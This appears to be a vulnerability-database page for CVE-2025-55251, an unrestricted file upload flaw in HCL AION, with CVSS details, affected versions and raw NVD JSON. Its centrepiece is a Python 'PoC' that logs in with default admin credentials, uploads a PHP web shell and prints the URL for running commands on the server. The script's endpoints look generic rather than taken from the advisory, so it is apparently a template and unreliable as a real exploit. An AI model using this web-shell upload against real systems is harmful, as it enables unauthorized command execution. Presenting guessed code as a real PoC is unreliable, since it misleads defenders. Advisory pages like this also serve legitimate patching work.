Security Vulnerability Report
中文
CVE-2025-55251 CVSS 3.1 LOW

CVE-2025-55251

Published: 2026-01-19 18:16:04
Last Modified: 2026-04-25 18:05:08

Description

HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:aion:2.0.0:*:*:*:*:*:*:* - VULNERABLE
HCL AION < 最新安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55251 PoC - HCL AION Unrestricted File Upload # Requirements: Local access, High privilege account, User interaction import requests import json target = "https://target-aion-instance.com" # Authentication with high privilege account auth_endpoint = f"{target}/api/auth/login" auth_data = { "username": "admin", "password": "password" } session = requests.Session() response = session.post(auth_endpoint, json=auth_data) token = response.json().get('token') # Upload malicious file upload_endpoint = f"{target}/api/file/upload" headers = {"Authorization": f"Bearer {token}"} # Create malicious PHP/WebShell file malicious_content = b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', malicious_content, 'application/x-php') } # Send upload request response = session.post(upload_endpoint, headers=headers, files=files) if response.status_code == 200: file_path = response.json().get('file_path') print(f"[+] Malicious file uploaded successfully: {file_path}") print(f"[+] Access shell at: {target}/{file_path}?cmd=whoami") else: print(f"[-] Upload failed: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55251", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:04.207", "lastModified": "2026-04-25T18:05:07.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise."}, {"lang": "es", "value": "HCL AION está afectado por una vulnerabilidad de carga de archivos sin restricciones. Esto puede permitir cargas de archivos maliciosos, lo que podría resultar en ejecución de código no autorizada o compromiso del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aion:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "BEBB7E38-04AE-436B-8F21-65FF3CA3CECC"}]}]}], "references": [{"url": "https://support.hcl-software.com/kb_view.do?sys_kb_id=4b92474633de7ad4159a05273e5c7b4b&searchTerm=kb0127995#", "source": "[email protected]", "tags": ["Permissions Required"]}]}}